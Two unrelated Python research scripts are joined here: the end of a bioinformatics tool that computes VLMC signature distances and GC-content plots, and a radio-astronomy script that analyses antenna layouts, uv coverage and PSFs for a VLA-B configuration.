    neighbor_order = np.argsort(distances, 1)
    return (neighbor_order, names, distances)

def norm_to_gc_dist(vlmcs, neighbor_order, number_of_neighbors, filename=None):
    """ calculate how the frobenius-norm distance compares to GC content

        input
        -----
        vlmcs -- a list of VLMCs
        neighbor_order -- matrix containing the order of neighbors
                          calculated with the calculate_neighbor_order function
        number_of_neighbors -- the number of neighbors to examine for each vlmc
        filename -- optional, if filename is None then the results are returned,
                    otherwise they are pickled to the file 'filename'

        returns
        ------
        A list of tuples on the form: [(norm-distance,GC distance)]
    """
    args.distance_function = "frobenius-norm"
    frobenius_norm = parse_distance_method(args)
    args.distance_function = "gc-content"
    gc_function = parse_distance_method(args)

    all_distances = []
    for i, vlmc in enumerate(vlmcs):
        for k in range(number_of_neighbors):
            frobenius_distance = frobenius_norm.distance(
                vlmc, vlmcs[neighbor_order[i][k + 1]]
            )
            gc_distance = gc_function.distance(vlmc, vlmcs[neighbor_order[i][k + 1]])
            all_distances.append((frobenius_distance, gc_distance))
    if filename is None:
        return all_distances
    else:
        with open(filename, "wb") as f:
            pickle.dump(all_distances, f)

def gc_dist_distribution(vlmcs):
    gc = [vlmc.tree[""]["G"] + vlmc.tree[""]["C"] for vlmc in vlmcs]
    ax = sns.distplot(gc, norm_hist=True)
    plt.xlabel("gc content")
    plt.ylabel("density")
    plt.title("distribution of gc content in the database")
    plt.show()

def branch_length_distribution(vlmcs):
    length_list = [[len(key) for key in vlmc.tree.keys()] for vlmc in vlmcs]
    max_depths = [max(lengths) for lengths in length_list]
    numberOfParam = [len(lengths) for lengths in length_list]
    ys = [
        sum([length > max_depth / 2 for length in lengths])
        for max_depth, lengths in zip(max_depths, length_list)
    ]
    plt.subplots()
    plt.boxplot(numberOfParam)
    plt.subplots()
    d = {"max_depth": max_depths, "ys": ys}
    df = pd.DataFrame(data=d)
    sns.catplot(x="max_depth", y="ys", data=df)
    plt.xlabel("max depth of VLMC")
    plt.ylabel("number of branches with depth > maxdepth/2")
    plt.title("distribution of branch depths compared to max depth")
    plt.show()

parser = argparse.ArgumentParser(description="distance parser")

add_parse_signature_args(parser)
add_distance_arguments(parser)

parser.add_argument(
    "-o",
    default="neighbor_order.pickle",
    help="output file name where the beighbor orders are saved",
)
parser.add_argument(
    "--distance_file",
    default="distances.pickle",
    help="name of file to save distances in",
)
parser.add_argument(
    "--norm_to_gc", action="store_true", help="calculate the norm_to_gc_distance"
)
parser.add_argument(
    "--number_of_neighbors",
    type=int,
    default=1,
    help="how many neighbors should be considered when calculating norm_to_gc_distance",
)
parser.add_argument(
    "--gc_content", action="store_true", help="calculate gc content of all signatures"
)

parser.add_argument(
    "--neighbor_order",
    action="store_true",
    help="calculate distance and neighbor order",
)

args = parser.parse_args()

vlmcs = parse_signatures(args, "../settings/db_config.json")

print("length", len(vlmcs))

# branch_length_distribution(vlmcs)

if args.gc_content:
    gc_dist_distribution(vlmcs)

if args.norm_to_gc:
    (neighbor_order, _) = load_neighbor_order(args.neighbor_order_file)
    norm_to_gc_dist(vlmcs, neighbor_order, args.number_of_neighbors, args.o)
if args.neighbor_order:
    start = time.time()
    distance_function = parse_distance_method(args)
    (neighbor_order, names, distances) = calculate_neighbor_order(
        vlmcs, distance_function
    )
    save_neighbor_order((neighbor_order, names), args.o)
    with open(args.distance_file, "wb") as f:
        pickle.dump(distances, f)
    print(time.time() - start)


# -*- coding: utf-8 -*-

# TODO(BM) single log-spiral rotated
# TODO(BM) tapered random generator
# TODO(BM) add beam convolution
# TODO(BM) Metrics (see apple notes, ALMA paper etc)
# TODO(BM) add path length code
# LOOK AT THE PSF METRIC FOR THE CORE REGION ONLY AS THIS WILL BE THE PSF
# USED AFTER THE LAMBDA CUT?

from __future__ import division, absolute_import, print_function

import math
import os
from os.path import join

import matplotlib.pyplot as plt
import numpy
from matplotlib.colors import LogNorm
from matplotlib.ticker import FormatStrFormatter

from utilities.analysis import (generate_baseline_coords,
                                generate_uv_grid_2,
                                generate_psf_2,
                                get_psf_coords)
from utilities.plotting import (plot_layout,
                                plot_uv_scatter_2,
                                plot_uv_scatter_3,
                                plot_uv_density,
                                plot_uv_grid,
                                plot_psf_2,
                                plot_psf_1d_new,
                                plot_psf_histogram_2)

def fig_save_and_clear(fig, file_name):
    fig.savefig(file_name)
    fig.clear()

def eval_uv_gap_2(uu, vv, q_max=None):
    num_bins = 18
    uu_ = numpy.copy(uu)
    vv_ = numpy.copy(vv)
    q = (uu_**2 + vv_**2)**0.5
    theta = numpy.arctan2(vv_, uu_)
    theta[theta < 0.0] += math.pi
    if q_max is not None:
        keep_idx = numpy.where(q <= q_max)
        q = q[keep_idx]
        theta = theta[keep_idx]
    else:
        q_max = q.max()

    # define bin edges
    theta_edges = numpy.linspace(0, math.pi, num_bins + 1)
    q_edges = numpy.linspace(0, q_max, num_bins + 1)
    theta_idx = numpy.digitize(theta, theta_edges)
    uv_gap_im = numpy.zeros((num_bins, num_bins))
    uv_gap_im_2 = numpy.zeros((num_bins, num_bins))

    # Loop over the theta bins
    for j in range(num_bins):
        # Get q values in the theta bin sorted into q order.
        q_values = q[theta_idx == 1 + j]
        q_values = numpy.append(q_values, [0.0])
        q_values = numpy.sort(q_values)
        q_diff = numpy.diff(q_values)
        q_diff_norm = q_diff / q_values[1:]

        # Loop over q bins
        for i in range(num_bins):
            d0 = numpy.where(q_values <= q_edges[i])[0][-1]
            d1 = numpy.where(q_values > q_edges[i + 1])[0]
            d1 = q_values.shape[0] - 1 if len(d1) == 0 else d1[0]
            bin_diffs = q_diff_norm[d0:d1]
            if bin_diffs.shape[0] > 0:
                uv_gap_im[j, i] = numpy.nanmean(bin_diffs)
            else:
                uv_gap_im[j, i] = 1.0
            # Other definition ...
            # qmin_ = q_edges[i]
            qmax_ = q_edges[i + 1]
            x_b = numpy.append(q_values, qmax_)
            x_b = numpy.sort(x_b)
            x_b = x_b[x_b <= qmax_]
            uv_gap_im_2[j, i] = numpy.sum(numpy.diff(x_b)**2 / x_b[1:]) / qmax_

    # Azimuthal averages of delta_u (to plot radial profile)
    uv_gap_r = numpy.zeros((2, num_bins))
    uv_gap_r_2 = numpy.zeros((2, num_bins))
    for i in range(num_bins):
        uv_gap_r[0, i] = q_edges[i] + (q_edges[i + 1] - q_edges[i]) / 2
        uv_gap_r[1, i] = numpy.nanmean(uv_gap_im[i, :])
        uv_gap_r_2[0, i] = q_edges[i] + (q_edges[i + 1] - q_edges[i]) / 2
        uv_gap_r_2[1, i] = numpy.nanmean(uv_gap_im_2[i, :])

    # -------------------------------------
    fig = plt.figure(figsize=(10, 8))
    ax = fig.add_subplot(211)
    cmap = plt.cm.get_cmap('gray', 2048)
    extent = [0.0, q_max / 1.0e3, 0, math.pi]
    im = ax.imshow(uv_gap_im, interpolation='nearest', cmap=cmap,
                   alpha=0.8, origin='lower', extent=extent, norm=LogNorm())
    ax.figure.colorbar(im, ax=ax)
    ax.plot(q / 1.0e3, theta, 'w.', ms=5.0, alpha=1.0)
    ax.set_aspect('auto')
    ax.set_xlim(-(q_max / 20) / 1.0e3, (q_max + q_max / 20) / 1.0e3)
    ax.set_ylim(0.0 - math.pi / 16, math.pi + math.pi / 16)

    ax = fig.add_subplot(212)
    ax.plot(uv_gap_r[0, :] / 1.0e3, uv_gap_r[1, :], '+', alpha=1.0, ms=10.0,
            mew=2.0)
    ax.grid(True)
    ax.set_ylim(0.0001, 1.0)
    ax.set_yscale('log')
    ax.yaxis.set_major_formatter(FormatStrFormatter('%g'))
    # FIXME(BM) respect output directory name
    plt.savefig(join('results', 'uv_gap', 'foo.png'))
    plt.close(fig)

    fig = plt.figure(figsize=(10, 8))
    ax = fig.add_subplot(211)
    cmap = plt.cm.get_cmap('gray', 2048)
    extent = [0.0, q_max / 1.0e3, 0, math.pi]
    im = ax.imshow(uv_gap_im_2, interpolation='nearest', cmap=cmap,
                   alpha=0.8, origin='lower', extent=extent, norm=LogNorm())
    ax.figure.colorbar(im, ax=ax)
    ax.plot(q / 1.0e3, theta, 'w.', ms=5.0, alpha=1.0)
    ax.set_aspect('auto')
    ax.set_xlim(-(q_max / 20) / 1.0e3, (q_max + q_max / 20) / 1.0e3)
    ax.set_ylim(0.0 - math.pi / 16, math.pi + math.pi / 16)

    ax = fig.add_subplot(212)
    ax.plot(uv_gap_r_2[0, :] / 1.0e3, uv_gap_r_2[1, :], '+', alpha=1.0, ms=10.0,
            mew=2.0)
    ax.grid(True)
    ax.set_ylim(0.0001, 1.0)
    ax.set_yscale('log')
    ax.yaxis.set_major_formatter(FormatStrFormatter('%g'))
    # FIXME(BM) respect output directory name
    plt.savefig(join('results', 'uv_gap', 'foo2.png'))
    plt.close(fig)

    fig = plt.figure(figsize=(10, 10))
    ax = fig.add_subplot(111, polar='True')
    theta_p = numpy.linspace(0, 2.0 * math.pi, 2 * num_bins + 1)
    used_theta = theta_p
    used_rad = q_edges[:-1] / 1.0e3
    data = numpy.transpose(uv_gap_im)
    data = numpy.hstack((data, data))
    p_theta, p_rad = numpy.meshgrid(used_theta, used_rad)
    im = ax.pcolormesh(p_theta, p_rad, data, cmap='gray', norm=LogNorm())
    ax.figure.colorbar(im, ax=ax)
    ax.plot(theta, q/1.0e3, 'r.', ms=3.0, alpha=0.8)
    ax.plot(theta + math.pi, q/1.0e3, 'r.', ms=3.0, alpha=0.8)
    ax.grid(True)
    plt.savefig(join('results', 'uv_gap', 'foo_p.png'))
    plt.close(fig)

    fig = plt.figure(figsize=(10, 10))
    ax = fig.add_subplot(111, polar='True')
    theta_p = numpy.linspace(0, 2.0 * math.pi, 2 * num_bins + 1)
    used_theta = theta_p
    used_rad = q_edges[:-1] / 1.0e3
    data = numpy.transpose(uv_gap_im_2)
    data = numpy.hstack((data, data))
    p_theta, p_rad = numpy.meshgrid(used_theta, used_rad)
    im = ax.pcolormesh(p_theta, p_rad, data, cmap='gray', norm=LogNorm())
    ax.figure.colorbar(im, ax=ax)
    ax.plot(theta, q / 1.0e3, 'r.', ms=3.0, alpha=0.8)
    ax.plot(theta + math.pi, q / 1.0e3, 'r.', ms=5.0, alpha=0.8)
    ax.grid(True)
    plt.savefig(join('results', 'uv_gap', 'foo_p_2.png'))
    plt.close(fig)

def eval_uv_gap(uu, vv, q_max):
    q_max = 300.0e3
    uu_ = numpy.copy(uu)
    vv_ = numpy.copy(vv)
    uu_ = numpy.hstack((uu_, -uu_))
    vv_ = numpy.hstack((vv_, -vv_))
    q = (uu_**2 + vv_**2)**0.5
    theta = numpy.arctan2(vv_, uu_) + math.pi
    # theta[theta < 0.0] += math.pi
    keep_idx = numpy.where(q <= q_max)
    q = q[keep_idx]
    theta = theta[keep_idx]

    # Bin in theta
    num_bins = 50
    theta_edges = numpy.linspace(0, 2.0 * math.pi, num_bins + 1)
    q_edges = numpy.linspace(0, q_max + 1.0e-10, num_bins + 1)
    theta_idx = numpy.digitize(theta, theta_edges)

    uv_gap_im = numpy.zeros((num_bins, num_bins))
    uv_gap_2 = numpy.zeros(num_bins)
    for j in range(num_bins):  # loop over theta bins

        # Get q values in the theta bin.
        theta_bin = theta[theta_idx == 1 + j]
        q_bin = q[theta_idx == 1 + j]

        # Add zero (and q_max points.)
        t = theta_edges[j] + (theta_edges[j + 1] - theta_edges[j]) / 2.0
        theta_bin = numpy.append(theta_bin, [t, t])
        q_bin = numpy.append(q_bin, [0.0, q_max])
        # q_bin = numpy.append(q_bin, [0.0])

        # Sort into q order
        q_idx = numpy.argsort(q_bin)
        q_bin = q_bin[q_idx]
        theta_bin = theta_bin[q_idx]

        q_diff = numpy.diff(q_bin) / q_bin[1:]
        q_bin_diff_idx = numpy.digitize(q_bin[1:], q_edges)
        q_bin_idx = numpy.digitize(q_bin, q_edges)
        print(j, q_bin[0], q_diff[0])

        for i in range(num_bins):
            bin_diffs = q_diff[q_bin_diff_idx == 1 + i]
            x = q_bin[q_bin_idx == 1 + i]
            y = theta_bin[q_bin_idx == 1 + i]
            count = x.shape[0]
            diff_count = bin_diffs.shape[0]
            if j == 0 and i < 5:
                print('%i, %i: %i values, %i diffs' % (j, i, count, bin_diffs.shape[0]))
                print('  values:', x)
                print('  diffs:', bin_diffs)
            # uv_gap_im[j, i] = numpy.nan if diff_count == 0 else numpy.mean(bin_diffs)
            uv_gap_im[i, j] = 1.0 if diff_count == 0 else numpy.mean(bin_diffs)

    # Azimuthal averages of delta_u (to plot radial profile)
    uv_gap_r = numpy.zeros((2, num_bins))
    for i in range(num_bins):
        uv_gap_r[0, i] = q_edges[i] + (q_edges[i+1] - q_edges[i]) / 2
        # uv_gap_r[1, i] = numpy.nanmean(uv_gap_im[:, i])
        uv_gap_r[1, i] = numpy.nanmin(uv_gap_im[i, :])

    fig = plt.figure(figsize=(16, 10))
    ax = fig.add_subplot(121)
    cmap = plt.cm.get_cmap('gray', 2048)
    extent = [0, 2.0 * math.pi, 0/1.0e3, q_max/1.0e3]
    im = ax.imshow(uv_gap_im, interpolation='nearest', cmap=cmap,
                   alpha=0.8, origin='lower', extent=extent, norm=LogNorm())
    ax.figure.colorbar(im, ax=ax)
    ax.plot(theta, q/1.0e3, 'r+', ms=8.0, alpha=0.7)
    ax.set_aspect('auto')
    ax.set_ylim(-(q_max / 20) / 1.0e3, (q_max + q_max / 20) / 1.0e3)
    ax.set_xlim(0.0 - (2.0 * math.pi) / 16,  (2.0 * math.pi) +  (2.0 * math.pi) / 16)

    ax = fig.add_subplot(122)
    ax.plot(uv_gap_r[0, :] / 1.0e3, uv_gap_r[1, :], '+', alpha=1.0)
    ax.grid(True)
    # ax.set_ylim(0.0001, 0.5)
    ax.set_yscale('log')
    ax.yaxis.set_major_formatter(FormatStrFormatter('%g'))

    # FIXME(BM) respect output directory name
    # plt.show()
    plt.savefig(join('results', 'uv_gap', 'foo.png'))
    plt.close(fig)

    fig = plt.figure(figsize=(10, 10))
    ax = fig.add_subplot(111, polar='True')
    # used_theta = theta_edges[:-1] + numpy.diff(theta_edges)
    # used_rad = q_edges[:-1] + numpy.diff(q_edges)
    # used_rad /= 1.0e3
    used_theta = theta_edges[:-1]
    used_rad = q_edges[:-1]
    used_rad /= 1.0e3
    data = uv_gap_im
    p_theta, p_rad = numpy.meshgrid(used_theta, used_rad)
    im = ax.pcolormesh(p_theta, p_rad, data, cmap='gray', norm=LogNorm())
    ax.figure.colorbar(im, ax=ax)
    ax.plot(theta, q/1.0e3, 'g.', ms=5.0, alpha=0.5)
    plt.savefig(join('results', 'uv_gap', 'foo_p.png'))
    plt.close(fig)

    # FIXME(BM) run the same config though iantconfig to get its values of uvgap?

    # # bin in theta and evaluate uv-gap (use scipy custom function method?)
    # # scipy.stats.binned_statistic
    # fig = plt.figure(figsize=(8, 8))
    # ax = fig.add_subplot(111)
    # ax.plot(q, theta, '.', color='b', ms=3.0, alpha=0.5)
    # ax.set_ylim(0, math.pi)
    # for edge in theta_edges:
    #     ax.plot(ax.set_xlim(), [edge, edge], 'c-', alpha=0.4)
    # ax.plot(q[theta_idx == 1], theta[theta_idx == 1], 'x', color='g', alpha=0.5)
    # ax.plot(q[theta_idx == 2], theta[theta_idx == 2], 'x', color='r', alpha=0.5)
    #
    # plt.show()
    # plt.close(fig)

def analyse_layouts(layouts, settings, r_min, r_max):
    """Analyse station layouts"""
    # TODO(BM) Define what analysis to do and work out what plots to make
    # - produce separate plots for each layout and result
    # TODO(BM) loop over layouts and add curves to plots.
    font_size = 'small'
    layout_colors = ['b', 'r', 'g']
    fig = plt.figure(figsize=(8, 8))

    # outputs = ['layout', 'uv_dist', 'psf']
    # outputs = ['layout', 'uv_dist', 'uv_grid']
    # outputs = ['layout', 'uv_grid']
    outputs = ['layout', 'uv_dist', 'uv_gap']
    for output in outputs:
        if not os.path.isdir(join(settings['results_dir'], output)):
            os.makedirs(join(settings['results_dir'], output))
    if 'psf' in outputs:
        for sub_dir in ('1d', '2d'):
            if not os.path.isdir(join(settings['results_dir'], 'psf', sub_dir)):
                os.makedirs(join(settings['results_dir'], 'psf', sub_dir))

    wavelength_m = 299792458.0 / settings['freq_hz']
    psf_fwhm = wavelength_m / (r_max * 2.0)
    mag = settings['psf_fov_deg'] / math.degrees(psf_fwhm)

    if 'layout' in outputs:
        fig_layout_compare = plt.figure(figsize=(8, 8))
        ax_layout_compare = fig_layout_compare.add_subplot(111, aspect='equal')

    if 'uv_dist' in outputs:
        fig_uv_density_compare = plt.figure(figsize=(8, 8))
        ax_uv_density_compare = fig_uv_density_compare.add_subplot(111)

    if 'psf' in outputs:
        fig_psf_1d_compare = plt.figure(figsize=(8, 8))
        ax_psf_1d_compare = fig_psf_1d_compare.add_subplot(111)
        fig_psf_hist_compare = plt.figure(figsize=(8, 8))
        ax_psf_hist_compare = fig_psf_hist_compare.add_subplot(111)

    for i_layout, layout_name in enumerate(layouts):
        layout = layouts[layout_name]
        if 'uv_dist' or 'psf' or 'uv_grid' or 'uv_gap' in outputs:
            uu, vv, ww = generate_baseline_coords(layout, settings)
        print('')
        print('Analysing layout %02i: %s' % (i_layout, layout_name))
        print('- No. antennas =', layout['x'].shape[0])

        # Layout plot(s) ------------------------------------------------------
        if 'layout' in outputs:
            plot_layout(fig.add_subplot(111, aspect='equal'), layout, settings, r_min, r_max, font_size)
            fig_save_and_clear(fig, join(settings['results_dir'], 'layout', '%02i_%s.png' % (i_layout, layout_name)))
            plot_layout(ax_layout_compare, layout, settings, r_min, r_max, font_size)

        # Generate and plot uv coordinates ------------------------------------
        if 'uv_dist' in outputs:
            plot_uv_scatter_2(fig.add_subplot(111, aspect='equal'), uu, vv, r_max, settings, font_size)
            fig_save_and_clear(fig, join(settings['results_dir'], 'uv_dist', '%02i_%s_uv_scatter.png' % (i_layout, layout_name)))
            plot_uv_scatter_3(fig.add_subplot(111, aspect='equal'), uu, vv, r_max, settings, font_size)
            fig_save_and_clear(fig, join(settings['results_dir'], 'uv_dist', '%02i_%s_uv_scatter_wavelengths.png' % (i_layout, layout_name)))

            plot_uv_density(ax_uv_density_compare, uu, vv, wavelength_m, r_min, r_max, layout_colors[i_layout], layout_name, font_size)

        if 'uv_grid' in outputs:
            uv_grid, uv_cell_size_wavelengths, fov_deg = generate_uv_grid_2(uu, vv, ww, r_max, settings)
            plot_uv_grid(fig.add_subplot(111), uv_grid, uv_cell_size_wavelengths, wavelength_m, r_max)
            fig_save_and_clear(fig, join(settings['results_dir'], 'uv_grid', '%02i_%s_uv_grid_2d.png' % (i_layout, layout_name)))

        if 'uv_gap' in outputs:
            eval_uv_gap_2(uu, vv)
            # Histogram of the distance matrix?

        # Generate and plot PSF
        if 'psf' in outputs:
            psf = generate_psf_2(uu, vv, ww, settings)
            l, m, r_lm = get_psf_coords(settings)
            plot_psf_2(fig.add_subplot(111), psf, settings)
            fig_save_and_clear(fig, join(settings['results_dir'], 'psf', '2d', '%02i_%s.png' % (i_layout, layout_name)))
            plot_psf_1d_new(fig.add_subplot(111), psf, r_lm, settings, r_max)
            fig_save_and_clear(fig, join(settings['results_dir'], 'psf', '1d', '%02i_%s.png' % (i_layout, layout_name)))
            plot_psf_1d_new(ax_psf_1d_compare, psf, r_lm, settings, r_max, layout_colors[i_layout], layout_name)
            plot_psf_histogram_2(ax_psf_hist_compare, psf, layout_colors[i_layout], font_size, layout_name,  layout['x'].shape[0], mag)

    if 'layout' in outputs:
        fig_layout_compare.savefig(join(settings['results_dir'], 'layout', 'layout_compare.png'))
        plt.close(fig_layout_compare)

    if 'uv_dist' in outputs:
        ax_uv_density_compare.legend()
        fig_uv_density_compare.savefig(join(settings['results_dir'], 'uv_dist', 'uv_density_compare.png'))
        plt.close(fig_uv_density_compare)

    if 'psf' in outputs:
        ax_psf_1d_compare.legend()
        ax_psf_1d_compare.set_ylim(-0.1, 0.5)
        ax_psf_1d_compare.set_xlim(1.0, ax_psf_1d_compare.get_xlim()[1])
        ax_psf_1d_compare.set_xscale('log')
        fig_psf_1d_compare.savefig(join(settings['results_dir'], 'psf', 'psf_1d_compare.png'))
        plt.close(fig_psf_1d_compare)
        ax_psf_hist_compare.legend()
        fig_psf_hist_compare.savefig(join(settings['results_dir'], 'psf', 'psf_hist_compare.png'))
        plt.close(fig_psf_hist_compare)

def main():
    settings = {
        'station_r': 45.0 / 2.0,
        'lon': math.radians(116.63128900),
        'lat': math.radians(-26.69702400),
        'ra': math.radians(68.698903779331502),
        'dec': math.radians(-26.568851215532160),
        'mjd_mid': 57443.4375000000,
        'num_times': 1,
        'obs_length_s': 0.0,
        'interval_s': 0.0,
        'freq_hz': 8.46e9,
        'psf_im_size': 2048,
        'results_dir': 'results'
    }

    if not os.path.isdir(settings['results_dir']):
        os.makedirs(settings['results_dir'])

    wavelength_m = 299792458.0 / settings['freq_hz']
    pb_fwhm = math.degrees(wavelength_m / (settings['station_r'] * 2.0))
    settings['psf_fov_deg'] = 3.0 * pb_fwhm
    r_min = 500.0
    r_max = 1700.0
    psf_fwhm = wavelength_m / (r_max * 2.0)
    print(settings['results_dir'])
    print('psf_fwhm', psf_fwhm)
    print('psf_fov_deg', settings['psf_fov_deg'])
    print('mag: %f' % (settings['psf_fov_deg'] / math.degrees(psf_fwhm)))

    # FIXME(BM) multiple PSF FoV's
    # FIXME(BM) think about PSF FoV vs frequency .... (cant just use lambda=1m!)
    # FIXME(BM) think about how to modularise analysis and plotting
    #           so that analysis is not run when plots are not used.
    #           ---> combine plotting and analysis?

    layouts = dict()

    # Single arms
    # b, num_arms, n = 0.5, 6, 12
    # layouts['log_spiral'] = inner_arms(b, num_arms, n, r_min, r_max)

    # # Cluster arms
    # b, num_arms, clusters_per_arm, stations_per_cluster = 0.5, 3, 4, 6
    # cluster_diameter_m, station_radius_m = 200, settings['station_r']
    # layouts['clusters'] = inner_arms_clusters(b, num_arms, clusters_per_arm,
    #                                           stations_per_cluster,
    #                                           cluster_diameter_m,
    #                                           station_radius_m,
    #                                           r_min, r_max)
    #
    # Random uniform
    # num_stations = layouts['clusters']['x'].shape[0]
    # num_stations = 72
    # station_radius_m = settings['station_r']
    # layouts['random_uniform'] = inner_arms_rand_uniform(num_stations,
    #                                                     station_radius_m,
    #                                                     r_min, r_max)

    coords = numpy.loadtxt(join('models', 'vlaB.enu.27x3.txt'))
    layouts['vla_b'] = {'x': coords[:-1, 1], 'y': coords[:-1, 2]}
    r = (coords[:-1, 1]**2 + coords[:-1, 2]**2)**0.5
    r_min = r.min()
    r_max = r.max()

    analyse_layouts(layouts, settings, r_min, r_max)

if __name__ == '__main__':
    main()